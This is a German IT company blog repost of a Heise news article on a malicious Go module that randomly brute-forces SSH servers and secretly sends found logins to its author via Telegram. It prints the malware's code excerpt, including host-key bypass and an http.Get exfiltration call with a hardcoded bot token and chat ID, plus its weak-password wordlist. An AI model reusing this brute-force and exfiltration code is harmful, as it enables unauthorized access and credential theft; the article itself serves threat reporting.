Comretix Blog

Wir bieten aktuelle Informationen über uns und aus der IT Welt.

Go-Modul für Brute-Force-Angriffe auf SSH stiehlt die gefundenen Zugänge

Ein von der Sicherheitsfirma Socket entdecktes Go-Modul führt zufällige Angriffe auf SSH-Ports durch, meldet einen Erfolg aber nicht nur dem aktuellen Nutzer, sondern auch dem Autor des Tools per Telegram. Weil die Telegram-API HTTPS verwendet, täuscht sie Sicherheitssysteme, da es sich beim Bot-Traffic um gewöhnliche Web-Requests handelt.

Das schädliche Go-Modul nennt sich golang-random-ip-ssh-bruteforce und lässt sich auf einen Cyberangreifer zurückverfolgen, der auf GitHub und im Go-Module-Ökosystem unter dem Namen IllDieAnyway zu finden ist. Seine GitHub-Seite hostete neben dem Go-Schädling weitere Tools wie einen Port-Scanner und einen Brute Forcer für das Datenbankwerkzeug phpMyAdmin – ebenfalls mit Backdoor. Mittlerweile sind die Webseiten von IllDieAnyway auf GitHub und Go-Module nicht mehr verfügbar.

golang-random-ip-ssh-bruteforce generiert kontinuierlich zufällige IPv4-Adressen und scannt damit parallel TCP-Port 22 auf ungeschützte SSH-Dienste. Dabei nutzt es HostKeyCallback: ssh.InsecureIgnoreHostKey(), um serverseitige Identitätschecks zu umgehen. Bei einem Treffer versucht der Schädling, eine Authentifizierung mit einer einfachen, lokalen Benutzername-Passwort-Liste durchzuführen. Nach einer erfolgreichen Anmeldung übermittelt golang-random-ip-ssh-bruteforce die IP-Adresse des Rechners und die Zugangsdaten an einen im Quellcode hartkodierten Telegram-Bot und meldet dem Nutzer den Erfolg. Anschließend beendet es sich selbst, um gegenüber dem Angriffspunkt möglichst verdeckt zu bleiben.

Socket hat einen Ausschnitt des Codes veröffentlicht und kommentiert:

// Probe the host on TCP 22. If the port is reachable, launch brute forcing. func IsOpened(host string) { target := fmt.Sprintf("%s:%d", host, 22) conn, err := net.DialTimeout("tcp", target, 2*time.Second) if err == nil && conn != nil { conn.Close() go brute(host) } } // Configure SSH to skip host key verification, then attempt user:pass. sshConfig := &ssh.ClientConfig{ User: user, Auth: []ssh.AuthMethod{ssh.Password(pass)}, Timeout: time.Duration(timeout) * time.Second, HostKeyCallback: ssh.InsecureIgnoreHostKey(), // Skip server verification. } client, err := ssh.Dial("tcp", addr, sshConfig) // On first success, send stolen credentials to the threat actor's Telegram. data := addr + ":" + user + ":" + pass + "</code>" http.Get("https://api[.]telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884&parse_mode=HTML&text=<code>" + data) close(succ) // Signal success and exit.

Nach erfolgreicher Übermittlung der abgegriffenen Daten antwortet die Telegram-API mit "ok": true für eine gültige message_id für den Chat 1159678884. Der hartcodierte Austrittspunkt lautet:

https://api.telegram[.]org/bot5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY/sendMessage?chat_id=1159678884

Laut Socket.dev ist das Bot-Token 5479006055:AAHaTwYmEhu4YlQQxriW00a6CIZhCfPQQcY derzeit noch live. Telegram identifiziert den Bot als ssh_bot mit dem Usernamen @sshZXC_bot. Der Ziel-Chat 1159678884 ist ein privater Chat mit @io_ping (alias Gett). Sind Bot-Token und Chat aktiv, sendet der Go-Schädling die Daten jedes ersten erfolgreich durchgeführten Logins im Format ip:user:pass via @sshZXC_bot an @io_ping.

Telegram Client Telegram Client

Der Telegram-Bot in Aktion: Der Go-Schädling ist aktiv (links), rechts die Account-Informationen des Bedrohungsakteurs.

(Bild: Socket.dev)

Das schädliche Go-Modul enthält eine kurze, statische Wortliste und bekommt weder Updates noch Zugangsdaten über das Netzwerk, sodass es bis zum ersten Treffer im Stillen läuft. Die Wortliste kombiniert lediglich zwei Usernamen – root und admin – mit schwachen und Standardpasswörtern, zum Beispiel toor, raspberry, dietpi, alpine, password, qwerty, numerische Sequenzen und Rollenbegriffe wie webadmin, webmaster, maintenance, techsupport, marketing oder uploader.

Liste User und Passwörter Liste User und Passwörter

Das schädliche Go-Modul enthält eine SSH-Brute-Force-Wortliste, welche die Usernamen root und admin mit schwachen Passwörtern kombiniert.

(Bild: Socket.dev)

Socket warnt prinzipiell vor Supply-Chain-Attacken beim Einsatz von Modulen im eigenen Code. Anwenderinnen und Anwender sollten diese immer genau untersuchen, beispielsweise auf hartkodierte Gegenstellen im Netz – oft bei Telegram.

(Diese E-Mail-Adresse ist vor Spambots geschützt! Zur Anzeige muss JavaScript eingeschaltet sein.)

Dieser Link ist leider nicht mehr gültig. Links zu verschenkten Artikeln werden ungültig, wenn diese älter als 7 Tage sind oder zu oft aufgerufen wurden. Sie benötigen ein heise+ Paket, um diesen Artikel zu lesen. Jetzt eine Woche unverbindlich testen – ohne Verpflichtung! Wochenpass bestellen

Sie haben heise+ bereits abonniert? Hier anmelden.

Oder benötigen Sie mehr Informationen zum heise+ Abo

(Ursprünglich geschrieben von Heise)
×
Stay Informed

When you subscribe to the blog, we will send you an e-mail when there are new updates on the site so you wouldn't miss them.

Botnet-Kampagne "Gayfemboy" auch in Deutschland ak...
Webhosting-Software cPanel: Updates schließen Sich...
 

Kommentare

Derzeit gibt es keine Kommentare. Schreibe den ersten Kommentar!
Bereits registriert? Hier einloggen
Freitag, 31. Oktober 2025

Die Comretix GmbH ist ein IT Systemhaus aus Tuttlingen. Seit über 30 Jahren betreuen wir unsere Kunden in Baden-Württemberg, der Schweiz und im gesamten Bundesgebiet mit Leidenschaft, Fairness und Loyalität. Wir bauen auf eine zuverlässige Partnerschaft mit unseren Lieferanten und Kunden. Unseren Mitarbeitern stehen wir auf Augenhöhe gegenüber.

Comretix GmbH Logo